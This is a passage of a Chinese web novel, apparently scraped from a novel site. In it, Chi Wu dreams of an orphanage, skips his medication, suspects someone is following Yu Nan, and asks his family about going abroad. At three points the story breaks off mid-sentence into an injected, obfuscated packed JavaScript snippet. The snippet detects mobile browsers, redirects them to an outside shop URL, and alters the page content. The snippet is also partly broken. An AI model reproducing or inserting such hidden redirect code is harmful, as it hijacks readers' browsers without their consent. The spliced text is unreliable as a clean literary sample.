“他说要学习,谁知道怎么想的,还让我来送温暖,我还以为是嫌孤单了让人来陪呢,我都准备好游戏机了,结果是让我来送吃的,多有意思。” “你们这是干什么呢?”温琳问。 “他偷东西,偷了之后还不肯承认,东西就在他兜里呢,是我的手表。” 诬赖。 这种幼稚的套路已经鲜少发生,因为一眼就能叫人识破,实在 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这一觉如此昏沉,恍若陷入了无端的灰暗中去,迷蒙细雨下了又下,淹没了一切清明,托举出乌云深层处藏着的暗影。 迟雾蜷缩在小木床上,外头是阴暗的天色,窄小的窗口像屋内徐徐推送着凉气,冻得他直哆嗦,直到一抹热源贴合上来,他那小幅度的颤抖才就此停止,人却就此缓慢睁开眼。 他看着眼前宽敞的房间内摞叠着堆在一起的数个双人床,觉得无比陌生,却又万分熟悉,数秒后,他看见小门被推开,房间里进来一堆孩童,他们手里都拿着数个被充作玩具的各种形状的石头,叽叽喳喳地讲着话,迟雾听不清他们说什么,耳朵上被罩了层毛玻璃,这种熟悉的感觉也在提醒他,他又做梦了,噩梦,孤儿院的梦。 迟雾小幅度地深吸了口气,再次合上眼。 至少,这次梦里他是躺在床上的,而不是蹲在墙角哭。 但片刻后,他耳朵上的毛玻璃被击破。 “还冷吗?”有人在他耳边小声问。 迟雾被吓了一条,仿佛整个人就此在梦中活过来,他能感觉到后背上贴着的温度,很凉很冷,但又透着一丝丝勉强的热,像是整个人已经被冻得不成样子却还在费力地把自己身上仅存的温度渡送给他。 迟雾张了张嘴,却发不出声音,他想要转过身去看那人的脸,又想下床逃离开那人的贴近,却也动弹不得,只得兀自保持着这个姿势,可他的心脏却扑通扑通得加速着跳动。 噩梦里贴在身后的人。 他会干什么。 杀了他吗? 片刻后,迟雾感觉到那人伸出胳膊将自己彻底揽进怀抱深处,又用单薄的被子将两人罩在一起,罩在同一方小天地里。 温暖了不少。 那堆小孩朝着迟雾的方向看来,不知看见什么,霎时噤了声,脚下动作也一齐放轻,小心翼翼地重新出了门,再将房门关上。 而身后那人拍了拍迟雾的背脊,小声说:“睡吧睡吧。” 这道声音如同最灵验的符咒,霎时迟雾退出了这场梦中,惊醒过来。 他猛地抬起眼,却和站在自习室前侧的温程安对上了视线,那道视线笔直地如同一把刀子,仿佛能劈开一切隐藏的东西,剥离出其下藏匿。 迟雾的心跳速度与梦中重叠。 扑通。 扑通。 24. 第 24 章 温程安如同毫无感情的冷血动物,他没有移开视线,而是就那么以一种平静且冷漠的眼神,以一种湿漉漉且脏兮兮的狼狈姿态盯着迟雾。 迟雾的大脑又被罩上层罩子,他几乎被剥离成飘荡在身体外的灵魂,只能保持原状地处在这视线中央。 “温程安。”温琳唤了一声,这一声将那层罩子彻底击碎成一地碎片,也将迟雾解救出来。 迟雾将面前冷透了的寿司推走,垂眼看着面前的习题册,却奈何脑袋不清明,看不大进去,只得再抬起眼观察那从前头走过来的人。 温程安的头发是利落的短寸,也是这种发型衬得他面庞棱角分明,更显瘦削,也与迟雾梦里孤儿院里小孩儿的发型就此重叠。 孤儿院里的男孩都是寸头吗,因为好打理吗。 温琳发现迟雾盯着温程安的视线,不由轻笑了声,问:“你对他感兴趣?” 迟雾连忙摆手道:“没。” 这时去上厕所的顾宁一也回来了,他将门锁好,才走过来。温琳和温程安各堵住条路,顾宁一脚步停顿片刻便走了温琳守着那条路,两人擦肩而过,顾宁一坐到位子上,解释了句:“刚才有个教过的学生问了我点儿事,所以在外头耽搁了一会儿。” 温琳抱臂盯他两秒,才似是而非地笑了声,往后退了两步,朝着温程安招招手,而后留下句:“你俩学着,我有点儿事要解决,先走了。” 温程安出去后关上门,在前一秒他的视线还穿过玻璃觑着迟雾。那种目光带着些说不清道不明的意味,几乎让迟雾恍惚了下,他们之前有过什么交集吗? 好像没有。 迟雾往椅子后头靠了靠,掏出手机,查看短信,发现于南刚刚回复了他早上发过去的消息。 [下午好。] 应该是刚醒来。 迟雾照例关心了番伤口,并附带了句。 [我在学习,学数学。(?ì _ í?)] 于南回了张照片,是俯视视角拍摄的,照片的正中央是他刚换好药的手,而手掌遮盖住的方位还能隐隐看出来那儿放着的是他买的小夜灯,偏角落处露出九月三的两只前爪,雪白的毛格外柔软。 [换好了,小老师好好学习,不要累到。] “小老师”三个字让迟雾呼吸一滞,他瞬间就想到了于南站在他面前一字一顿地叫他小老师的模样,尤其是那嘴角勾起的抹笑,他甚至能想到于南敲下这行字的时候是什么个表情。 迟雾没压住,嘴角也往上翘了翘,他便开始想该回叫于南什么,小学生?大学生?好像都怪别扭的,他琢磨两秒,倏地抬起头盯着顾宁一。 顾宁一对视线的捕捉极其敏锐,下一刻他便抬眼看去,问:“哪题不会?” 迟雾却问:“小老师的对应词是什么啊,要那种特别可爱的叫法。” 顾宁一:“……..” 顾宁一一板一眼地说:“小同学。” 迟雾重复两遍,觉得也不大满意,就抓心挠肺地开始琢磨,牙齿无意识地咬着指腹,在上面咬出圈极浅的齿痕。顾宁一看着他拿手机的动作,一瞬明了这人是在干什么,干脆问道:“今天要就此结束吗。”他明显看出迟雾的心思已经不在这上面。 听此,迟雾给于南那边回了句不加称谓的话,便放下手机,重新低头,接着做手里的题。但不知为何,可能是那遭噩梦惊得他神经紧绷,如今看着这题倒是没方才那么晕了,他还掐了下时间,能多盯着看上半分钟。 迟雾将想服药的心思也压下去。 这场补习一直持续到十点钟迟母打电话来催。 迟雾收拾好书包,觉得可能人的本质就是受尽折磨后的大彻大悟,他这么反复晕上几遭,反倒觉得脑袋莫名清明了不少,可能是做出来了几道题,大脑就自大自负地觉得自己是个好脑子,更加倍努力。他自我脑补了番。 顾宁一收拾好书包走过来。 迟雾思忖了下,还是问:“顾宁一,你要是感冒了的话,你会按时吃药吗。”他掏出药盒,从上面扣下来今天本来要服用的剂量,放在手心里像扔硬币似的抛了抛。 顾宁一看了眼药盒,却发现是另换上的重制药盒,上头无明显药名标志,里头的药还早已分好剂量标准,让人看不出来吃的到底是什么药。他说:“能不吃尽量不吃,脑袋会受药影响,做题提不起精神,错误率会提高很多。” “那一直病着不难受吗?”迟雾又问。 顾宁一扫他眼,意有所指般淡淡道:“有些病根本算不得病。” 有些病? 哪些? 感冒打喷嚏? 迟雾再次掂了掂手里的药片,却在经过垃圾桶时将那药扔进去。细碎的白药片砸在垃圾瓶罐上,砸出清脆哗啦的响。 迟雾收回手,将药盒塞进兜里。 他扔了两顿的量,中午的和晚上的。 迟母为了督促他吃药,一般都是看着他吃,除非谁那边没时间,有什么事,迟母才会在晚上的时候统一检查药片数量,她总是这样谨慎小心,仿佛落下一顿药就会发生什么可怕的事,迟雾会就此变异成什么奇怪物种似的。 迟雾还问过迟延宁,以前迟母也是这么督促他的吗,但迟延宁只是说他鲜少生病,迟雾当即便腹诽了句:“兄弟怎么体质好坏还不一样,老天存心让他当药罐子。” 如今几乎吃药吃习惯了,迟雾都将那当成了每日任务般打卡,是药三分毒,他吃了那么多,也不知如今体内毒深几分,说不准还要被毒得少活几个年头,这个年限最好是三年,到时候他和于南还能一同死去,于南活到一百,他活九十七。 冷不丁没吃药,迟雾觉得嘴里时时牵绊的苦涩味仿佛也消减下去不少。 等过了这一阵再吃吧,做些噩梦没什么的。 等到了校门口。 司机就在门口等着。 迟雾说:“顾宁一,我送你一程吧。” 顾宁一也没推脱,他看了眼时间,不早了,便干脆一并上了车。 按着顾宁一报的地址,司机左拐右拐,最后进了片迟雾格外熟悉的区域。 离于南家三条街远的位置。 顾宁一扭头看着窗外的路,自始至终保持沉默,没什么话可说。待进入熟悉地带,他便主动开口道:“停在这儿就好,我自己走回去。” “哦。”迟雾应了声,让司机停在路边。他没坚持什么非要送顾宁一到家门口的破理,大家都有秘密,顾宁一也不是那种为了表面礼数就让自己多费劲的脾性,让停在这儿估摸就是家附近有什么不方便给别人看的,或是要顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199139|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路去买些东西。 顾宁一下了车,道了声谢。 看着他的背影消失在小巷里,迟雾才收回视线。 司机再次驱动汽车。 在汽车转弯那刻,迟雾看见辆疾驰而过的车,车尾灯将视野分割,晃得人眼睛疼。 迟雾的眼前一花,再次明亮刻,他便看见一片昏花里出现了两道人影。 其中一个是温程安,而另一个则是于南。 于南应当是去买东西,手上还拎着个大袋子,他往前兀自走着,而身后三米远的位置,温程安不近不远地跟着。 温程安的视线好像自始至终都保持着同一种冷冰冰的温度,他那样紧盯着于南的后背,一如尾随跟踪要动手前冷静地剖析。 迟雾被他这视线划破了冷静。 迟雾连忙让司机停下车,自己从车上下去,手机还给于南拨去电话。 但于南像是没带手机般,迟迟没有个反应,而下一秒,他更是一转弯进了条没有路灯的破巷子。 迟雾连忙加快脚步,甚至穿梭冷风,直接狂奔起来,他眼睁睁看着温程安也进了那条巷子。 手拔着墙角,迟雾脚下收力,猛地朝巷子里一转,便要接着朝黑暗里奔,却倏地直接撞上个人,他被撞得直接就要往后跌去,迟雾连忙用手掌扣住墙缝,拉回自己的身体。 再一抬眼,是于南。 于南的神情却不似以往那般平淡温和,那张脸被一半光亮一半黑暗分隔开,如同尊高贵不可侵犯的阴阳脸面具,也在不知不觉间添了分压迫感,他的视线笔直地砸射到迟雾身上,成了最稳的箭,插在人胸口,让人不禁心脏骤然一停。 迟雾的手机就此脱手砸到地面上,一阵细小的拨电等待音兀自回荡,冗长沉闷。 迟雾嚅嗫了下嘴唇,喃喃道:“……..于南。” 待看清迟雾的脸,于南脸上的表情不由得一松,他像是整个人瞬间卸下重担,脸上也扬起抹笑,眉眼弯弯,说:“原来是你,我还以为有人在跟踪我。” “跟踪”这个字眼如同当头一棒,迟雾连忙说道:“于南,刚才有个人跟在你身后。” “我知道。”于南说:“不是你吗。” 他这说的好像哪怕迟雾是个爱跟踪人的变态也没关系,他已经习惯了,又好像不惧怕迟雾这个友好可爱的“跟踪狂”。 迟雾连连摆手道:“不、不是我。” 于南温和地笑笑,说:“好。” 迟雾:“……..” 傻子也能看出来于南根本没心,就像是在保护他的自尊心一样顺着他的话来藏匿那不光彩的事迹,但关键是这事儿真的不是他干的啊! 迟雾一时不该如何解释,他没确切的证据,只能用手比划着说:“刚才有个男生跟在你的身后,我来送我同学,就在要回去的时候突然看见了,然后就跟过来了。” 于南点头,接着问道:“那这次你是不是也有听数学广播?” 迟雾:“……..” 上次撒谎,导致现在说实话都没人信了。 迟雾忙往巷子深处走,边走边说:“他也跟着一起进……..” 话在他将整条巷子摸遍那刻停住。 巷子里哪有温程安。 只有他和于南,两个人。 25. 第 25 章 于南逆着光,瞧着他,那副神情被衬得万般柔和,仿佛无论迟雾说些什么,他都会点头应好,至于他是否真的相信、世事如何都根本不大重要。 迟雾不死心地在小巷子里再摸了圈,甚至把手机捡起来打开手电筒,四处照着亮,可事实就是这般,没有任何变化——巷子里只有他们两个,再无其他人,唯一佐证都消失了。 迟雾后退了步,于南此刻上前,从手上拎着的袋子里拿出样东西,放到迟雾手上。迟雾下意识抓住,低头看去,发现是个很小巧的石雕捕梦网,质量很好,价格大抵也不便宜,底座处还贴刻着两个字。 好梦。 于南说:“想下次见面送给你的,没想到这么快就见到了。” 他笑着把遮住迟雾眉眼的碎发拂去,又轻声说:“做噩梦也别怕,让捕梦网把它们都捉住吧。” 迟雾怔怔地抬眼看他,此刻还不忘解释,低声喃喃道:“于南,真的有人在跟着你,我不是故意跟踪你的。” “嗯。”于南简单应了声,让人分辨不出他究竟信了与否,但总归他没再纠结着这个话题,而是抬手将迟雾身上外套的拉链拉好,卡到最上端,“今天很冷,天气预报说,明天可能还要下雪,应该是小雪,冬天要来了,记得保暖,早些回去吧,别再外头吹风了。” 迟雾被他牵着走出去,于南的手很凉,他身上的衣服依旧单薄,不用猜就知道里面肯定是穿着工作服半袖,手腕都被冻得青白一片。 于南一眼便锁定了停在对街的那辆黑车,就此停在这儿,没再往前走,而是把牵着迟雾的手掌往前一引,那意思是让迟雾自己接着走剩下的路。 他说:“迟雾,回去吧。” 迟雾说:“我送你吧于南。” 于南却摆摆手,说道:“我不是直接去便利店,先去旁边那个小区帮老板取个东西,你先走吧,别感冒了。” 他往后退了步,不给迟雾接着挽留的机会,径直朝着远处走去。 迟雾傻傻地盯着他的背影,良久才回过神来,当即掏出手机给温琳打了个电话,不理会那头温琳的追问,把温程安的电话号码给要了过来便挂断电话。 上了车。 迟雾一边摩挲着那个捕梦网小石雕,一边拨过去温程安的号码,但那头却是持续忙音中,迟迟无人接通。 他只得蹙眉挂断了电话。 温程安为什么要跟着于南? 只是个巧合,单纯同路? 那没道理于南完全没注意到这人。 更何况温程安进入小巷子后像是彻底人间蒸发了一样。 迟雾绝不会认错人,温程安身上还穿着那破了的校服,身高体型一致,面容也绝不可能看错。 温程安怎么会和于南有交集? 他怎么会主动接触于南? 难不成是温琳为了赌局指使温程安来打探消息? 不,不会。 温琳向来不大看重赌局,有时嘴上逞能,假装在意,实则输赢都无所谓,对于他来说和别的寻乐子的方式无甚差别,都是打发时间的方式,没必要多分精力。 迟雾揉了揉太阳穴,许是白日一直盯着习题挫磨,他现在又觉得脑袋隐隐作痛。 到了迟家,迟雾进门便发现迟延宁居然回家了,他正坐在客厅里查看着文件,身侧坐着正絮语的迟母,哪怕没听清那说的是什么,迟雾也能猜着,应当便是让他进公司里的事,除此之外也没什么事儿能让迟延宁露出如此无奈的神情。 迟延宁放下手头文件,解了解脖颈上系着的领带,说:“妈,这事儿每次都是平稳落地,你怕什么。” 这句迟雾听清了。 平稳落地? 看来说的不是他的事。 迟雾动作轻巧地关上门,往里走。 迟延宁十分敏锐,快速捕捉到迟雾的靠近,转眸看过去,与此同时,迟母也顺着他的视线看过去,而那原本刚想吐出的话也随着这一眼重新咽回去。 迟母拿起盏茶喝了口,稳了稳神色,才笑着问迟雾:“乖宝,今天晚上去哪玩了?” 迟雾知晓迟母不大愿意他勉强自己,便干脆隐瞒了补课的事,转而随口说:“和同学出去吃饭来着,看他研究竞赛项目挺有意思的,顺便回学校溜达了一圈,看了会儿热闹。” 学校的竞赛项目不少,还有些机器人相关的,那些都是一般学生鲜少接触的,学校里研究这些项目的基本都是为了个人兴趣,之前迟雾也去观摩过,确实挺有意思的。 迟母点点头,又问:“没忘吃药吧?” “没。”迟雾把药盒掏出来放到茶桌上,“晚上的分量我也吃完了,今天李医生要来吗?” 李医生经常来迟家给迟雾做检查,平时都是三四天一次,但出现做噩梦的情况时,基本都是一日一次,或隔天一次。 果不其然,李医生已经在客房里等着了。 李医生给迟雾做了简单检查,在单子上勾勾写写,房间内只有两人面对着面,迟雾思忖片刻,还是旁敲侧击地问了句:“李医生,你觉我今晚会做噩梦吗。” 李医生抬眼觑了他一下,只说:“可能。” 迟雾一时拿捏不准她到底看出来没有自己没吃药,便只得闭上嘴,静观其变。 记好东西后,李医生淡声说道:“记得按时吃饭。” 迟雾的心跳骤然一停,对上李医生那双黑眸,就知道她这是看出来了,干脆干笑两声,应道:“知道了。” 但这事儿李医生并未同迟母讲起,而是选择了隐瞒,迟雾便把这归结为——少吃两顿药也不打紧,反正现在也没有发烧的征兆。 回了房间倒在床上,迟雾便开始观赏手里的小石雕,他左看看、右看看,怎么看都喜欢,更是直接把石雕摆在床头柜最靠近枕头的边缘位置上,又用一堆其他小摆件给它围了个小城墙,防止它跌落到地上就此摔坏。 迟雾开开心心地给于南发过去条消息——谢谢。 但这条信息他没发出去,而是对着闪烁的输入符号思考没结果的那个问题,到底叫于南什么好。 他生病的时候总喜欢直呼于南的名字,要不就是直接叫男朋友,只有极少数的时候会轻喃两声,叫上声哥哥。 只不过那时候于南大多反应都一样,让人分辨不出来他究竟喜欢哪个称谓。迟雾干脆打开百度在上头搜索了条—— 叫未来男朋友什么比较好。 停顿了下。 他又把“未来”两个字删去。 反正成为男朋友也是早晚的事。 他在网页里翻了两遍,都是什么哥哥、宝宝之类的,没什么新意,在大街上喊一嗓子说不准能有一半男人都回头。 迟雾在床上猛翻了两下,觉得给人起称呼是世界上最难的事儿,他能怎么着呢,只能持续性地挖空脑袋想。 其实唤哪个好像都一样,只要是附加给于南的称谓他就喜欢,但迟雾就是下意识觉得,肯定还有更好的称呼,只不过是他现在不知道罢了。 迟雾不想草草了事,干脆直接问于南。 [于南,你叫我小老师,那你想让我叫你什么。] 于南没回。 “叩叩叩——” 房门被人敲响。 迟雾拉开房门就看见迟延宁站在走廊上,手里还拿着份文件。 “谈谈?”迟延宁说。 这句话实在是激得迟雾一哆嗦,迟延宁把他送去疯人院前敲响他的房门也是说了这么一句话。 且如今迟延宁站在廊灯阴影下,看不大清脸上神情,无形之中给了迟雾脑补的机会,他甚至将上辈子迟延宁在爸妈死后的无情冷漠给套上去了。 迟雾后知后觉地退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199140|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了步,说:“进来说吧哥。” 进了房间,迟延宁状似不经意地将整个房间彻底扫视了遍,才不咸不淡地夸了句:“你这房间和小时候还是一样的,维持得够长久。” 是了。 房间里的一切摆设都和迟雾刚出生时家里布置的一样,后来有些摆件坏了也不过是重新购买个一模一样的再重装进来,这个房间才像是真正被时间定格的石雕盒子,永远维系着最初的模样,里面存在着的唯一变化便是不断长大的迟雾,他已经蜕变成了少年人,但眉眼处却仍旧能分辨出和小时候想象的模子。 迟延宁每次进这个房间都要扫视一遍,上辈子迟雾被送走前,他看着迟延宁亲手将房间内的一切都清扫干净,彻底抹去了迟雾的存在。 迟雾没觉得迟延宁有多无情,他甚至莫名觉得迟延宁早就该这么做了,早该把迟雾送到远处去,远离迟家。他就像只被剥夺一切天赋的麻雀,待在这个立着白鹤的笼子里,用笼子困麻雀,像是高看了它,又像是残忍地束缚了它,无比怪异,却又说不出究竟为何。 迟雾觉得自己就是这个麻雀,他身上没什么闪光点,至少他自己从未发现过,迟母嘴里他最优秀的钢琴演奏其实也不过万分平庸,迟雾不爱钢琴,怎么可能精通,他只是笨拙地用属于麻雀的爪子在上面来回蹦跳,发出一两个干巴巴的音节。 迟延宁将手里的文件递给迟雾,说道:“迟雾,等你有时间,去公司里看看吧。” 迟雾翻了下文件,是任职相关合同,不过是挂名不做实事,仿佛就是为了把他的名字给塞进去,与上辈子的合同是同一个,不过这次的时间提前了。 为什么呢。 蝴蝶效应? 迟雾说:“哥,你觉得我应该去公司吗?” 迟延宁看着他,毫不犹豫地说:“不应该。” 迟雾笑了下,问:“为什么?” 迟延宁却停了嘴里的话,只是沉默。 两人心照不宣。 迟雾霎时懂了,其实迟延宁也知道他去公司之后会面对什么,知道他志不在此,去了也不过是被困在那儿。 迟雾深吸口气,阖上合同,说:“哥,我想出国。” 当然,他不是真的想。 只是以这话作为矛头,开个头。 迟延宁却重新接回合同,问:“然后呢。” 迟雾不假思索,随口道:“然后在国外花天酒地,每天找乐子,做个只知道傻玩的公子哥。” 迟延宁倏地笑了下,他很少笑,这抹笑也是紧绷之下勉强窥见的一点变化。他说:“你离不开这个家。” 说完。 迟延宁便出去了。 他那是什么意思? 出不去这个家? 是指他别想摆脱家族责任,还是指他别说出国,连这个家都别想离开。 迟雾抿抿唇,下意识跟着出去。 他知道一切的梗结都在哪儿,在他妈,上辈子他妈死后迟延宁就没再插手过他的事,仿佛就此将他从迟家除名了般不管不顾,哪怕闹出“有个疯子要杀屎”那事儿,迟延宁也适中无甚表示,只是放任迟雾去做那些疯事傻事。 迟雾这辈子不想接着走这条已知的路了,如果还那么走下去,哪怕于南和他都要好好活着,迟父迟母也绝对不会允许他离开迟家去和一个男人在一起。 这种家庭里的人总是放荡形骸却又故作姿态,以最开放的思想维持着最封建的制度,同性之间的爱能否被允许尚未知晓,但如果这么走下去,家里绝对还会给迟雾安排个所谓联姻对象。 他不想这样。 迟雾跟着一并下楼。 迟母正在客厅里泡茶。 迟雾开门见山道:“妈,我能出国吗?” 迟母愣愣地抬起头看他,开口第一句便是:“你不陪着妈妈了?” 26. 第 26 章 迟母的脸色瞬间阴沉下来,她捏着茶杯的指头也因为过度用力而泛上苍白,而真打算进书房的迟延宁也因为迟雾这句话而停下步子,靠墙而站,好整以暇地看着这场闹剧。 迟雾明显感觉到迟母的语气不虞,好像从小到大的记忆都是这样,一旦他生出想要远走的念头,甚至都不是远走高飞,仅仅是稍微往远处摩挲前路,便要让迟母的情绪落到最底端。 迟母鲜少对什么事展现出绝对的掌控欲,与迟雾相关的事就是其中一件。 迟雾又想起上辈子,迟母甚至死前还在筹划挑选他的又一个联姻人选。 迟母的压平嘴角,缓和了些表情,问:“你想去哪?” 迟雾说:“欧洲那边,哪都好,想看看不一样的环境,而且苏贺年毕业就准备去那边了,我也想和他一起去。” 迟雾打着腹稿,尽量编造出个合适的理由,来一寸寸地试探着迟母的底线。 迟母却僵硬地笑了笑,说:“外面很危险的。” 又是这句。 听外面的人说,他十三岁的时候被绑架过,差点儿就被撕票,那段时间迟母情绪低迷了好一阵,连屋子的门都踏不出去,后来还是李医生来了后加以照料,将他被歹徒绑架后导致的记忆混乱治疗好后,迟母才跟着受了不少安慰,病情好转过来。 迟雾不大记得那时候的事了,许是记忆错乱的副作用,十三岁前的事他都是有时清晰有时模糊,就像是大脑里循环播放着一部老电影,有时播放器坏了,影片稍加卡顿,他的记忆就也一并跟着模糊成了一团狰狞的像素点,只能依靠着迟母的一句句话来拼凑过去,他甚至觉得他的脑子就是在那时候受损的,所以才导致他现在一碰见抽象的数学公式就脑袋晕,这算是老式播放器的自我保护机制吗?可能吧。 迟雾说:“没那么危险,我已经长大了。” 他拿捏着尺度,接着说:“或者,我想去南方,听说那边的山水很漂亮,或者我去那边的分公司任职也好,可能我就是三分钟热度,一段时间腻歪了后就自己回来了。” 迟母的脸色却始终不见好转,她下意识地看向迟延宁,那意思如同逼问他方才同迟雾说了什么般,仿佛迟雾这突如其来的想法都是因为他。 迟延宁看着突然对准自己的矛头,倏地莫名嗤笑了声,扔下句:“爸找我。”便转身推门进了书房,随着门关合上,这道小世界里的迟母再次看向迟雾。 迟雾接着问道:“不行吗?” 迟母不置可否道:“该睡了。” 而后她便重重地放下茶杯,转身走另一端楼梯上了头,而后卧室门声“嘭!”得一响,宣判着她的绝对反驳。 迟雾站在楼梯上,居高临下地看着楼下暖光拢着的空荡荡的客厅,倏地觉得,他现在这个要求估摸着放在别人家要被扣上叛逆期的名头,但在这个圈子里,出国就像是搬家一样极其罕见,真不是什么刁难人的要求。他不过稍微试探了那么句,迟母就忍无可忍。 也是,他过去从来没踏过过这条泾渭分明的界线。 李医生还没走,这场闹剧结束后,她从原来的视觉死角里走出来,单肩挎着工具包,一手拿着报告单,她不紧不慢地走过去,却在经过楼梯口时漫不经心地抬眼瞧了迟雾一下。 迟雾看见她笑了下,很浅淡的笑,让人分辨不出其中意味。 李医生走了。 只剩下迟雾一人。 迟雾没急着回去,而是就那么站在楼梯口梳理着思绪,他现在有些想不清当初到底是因为什么被劫持,又是怎么被救出来的,只能记得陷入一片黑暗的恐惧后,再睁开眼,就看见了病房里紧紧抱着自己的迟母,以及神情复杂的迟父,还有站在一旁仿佛事不关己的迟延宁,还有站在床尾冷漠地记录着数据的李医生。 那时候的李医生不过才二十岁出头,因为优异的成绩与出色的发展潜力被迟家聘来,而李医生在外头最为出名的也是她的心理疏导能力,能够抹去一切阴影残留,如同洗脑般,迟雾甚至想,是不是李医生抹去了那段记忆。 迟雾还记得那段时间,迟母经常抱着他哭,仿佛眼泪流不完一样,而他也觉得特别痛苦,莫名得心悸,也跟着一同流眼泪,那段时间也是噩梦做得最频繁的一段时间,李医生几乎一天要为他检查五六次。 迟雾告诉自己这是为人父母的担忧,是正常的,可他又觉得那担心是超脱于他世界之外的东西,他感受到的更多的不是担忧,而是恐惧,来自迟母的恐惧。 她远比他还要怕。 当晚,迟雾又做了梦。 算是噩梦吗,他不知道。 但是梦里还是那个孤儿院,一堆孩子在做游戏,而他站在角落处手里捧着本书,看不大清书上的内容,却能看见他手掌的大小,约莫是八九岁的样子。迟雾还看见了身旁还站着一个孩子,那个孩子比他高,却比他还要瘦,身上穿着破旧丑陋的衣服,像是别人不要的旧衣服,不大合身,紧贴在身上,应该穿着也不舒服。 迟雾这次开口说话了,他只说了一句话。 “可以别走吗。” 对面那个孩子没说话,只是牵住他的手,吧他引到一个角落去,而后从怀里掏出个热着的包子,一块块掰开递给他吃。 迟雾看不见那个孩子的脸,但是能看见他的手一直在抖,他还看见角落处有一只被拴着的土狗,土狗脖子上的铁链格外粗重,感觉随时会压垮那只土狗的脊梁骨,随着动作还发出阵阵清脆的撞击声,那只狗在盯着他看,盯着那个包子看。 包子吃完了,梦也醒了。 迟雾醒来后只觉得全身乏累,好像半夜梦游去跑了三次马拉松一样筋疲力尽,只想瘫死在床上。 他看了眼时间,还早着,才六点钟,他就睡了五个小时。 迟雾拿起床头的捕梦网,万般珍惜得摸了摸,才又放回去,直接起身开始收拾。 他一切都弄好之后直接套上校服出了门。 时间还早,于南还没下班。 他现在特别想去见于南,这种念想不知为何格外强烈,如同个进入爆炸倒计时的炸弹,在他脑袋里压迫着决断一切的神经,逼迫着他去寻找于南。 于南在孤儿院的时候也要穿不合身的旧衣服吗。他那时候能吃到热包子吗。昨晚温程安有接着跟踪他吗。 一切的一切,迟雾都想知晓。 车停在便利店门口。 迟雾并未直接推门进去,而是站在玻璃窗外,透过窗户去看里头站着的于南。 熬了一整夜的于南稍显疲态,他低垂着眼,头发长长了些,在额角落下滩碎影。或许是在记录什么,他拿着笔在个小本子上写着字,动作温吞缓慢,却格外仔细认真。 迟雾觉得心里迂堵着的那口气稍微通了通。 他进了便利店。 于南抬眼看过来,见是他,略舒展了下眉头。 “起早跑大老远来便利店买早餐?”于南说。 迟雾随便挑了两个三明治,就到收银台旁,一边看着于南的动作,一边低声说道:“于南,我又做梦了。” 在于南将要开口那刻,他接着说:“但不是噩梦。” 迟雾缓慢道:“我梦到孤儿院里拴着的狗,那只狗被桎梏在那儿,哪也去不了。” “于南,跟我说说你的孤儿院是什么样的吧。”迟雾没直接询问于南在孤儿院的生活怎么样,因为他曾经、也就是上辈子问过,于南只会一句话带过,说他那时候过得很好,只能用旁敲侧击的方式来询问。 于南笑了下,说:“我的孤儿院?” 他往窗外渐升的橘黄色旭日的方向瞧了瞧,才娓娓道来:“那儿有很多孩子,多大的都有,有的是被人扔在门口的孩子,有的则是后来丧父丧母走投无路后自愿来的,还有一些照顾孩子的人,他们有的也是孤儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199141|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的孤儿院里也有条狗,刚开始是两只,后来有一只被小孩儿用石头给砸伤了,没止住血,就死了,后来只剩那一只。” “那一只狗还好吗。”迟雾问。 于南摇头说:“因为孤独,死了,死在春天的凌晨,突然就死了。” 于南的视线停留在迟雾的脸上,很轻,像是个绸缎仔细得包裹在上面,又随时能致命。他说那两只狗,其实也相当于说了人。 长着利牙的犬类都尚且被欺压、死于孤独,人又如何忍受那么一座逼仄却拥堵的铁锈笼子。 迟雾张了张嘴,问:“你那个弟弟,是孤儿院里的吗。” 他记得于南十六岁的时候被人领养,他的养父还领养了孤儿院里的另一个孩子,应当就是他弟弟了,可上辈子于南鲜少提起和那个孩子一起被领养后的日子,只是偶尔提起也只是用“他”来带过,没用过弟弟这个称谓,应当是在这几年出了龃龉,断了关系,只不过如今还尚且存在着挂念和羁绊。 于南点头应下:“是。” 迟雾了然,原来如此,当真是青梅竹马,可他又庆幸,他知道于南被领养后的日子有多难捱,有人陪伴反倒没那么难忍,如今他也没心情去计较什么于南时不时会更加在乎那个弟弟,他只希望于南别那么孤单,别再死掉了。 迟雾又问:“你和你弟弟之前住在一起吧?以后还要住在一起吗?” 于南只说:“可能吧。” 迟雾了然,这俩人之间的郁结还没解开。 迟雾便故作不在意地假装明事理道:“是吵架了吗?不要吵架,你们一起陪伴彼此那么长时间,肯定感情很深,是家人了,说不准以后还要陪伴彼此一生。” 于南似笑非笑地看着他,问:“你知道我弟弟是谁?” “不知道。”迟雾说:“所以我才能这么井井有条地分析。” 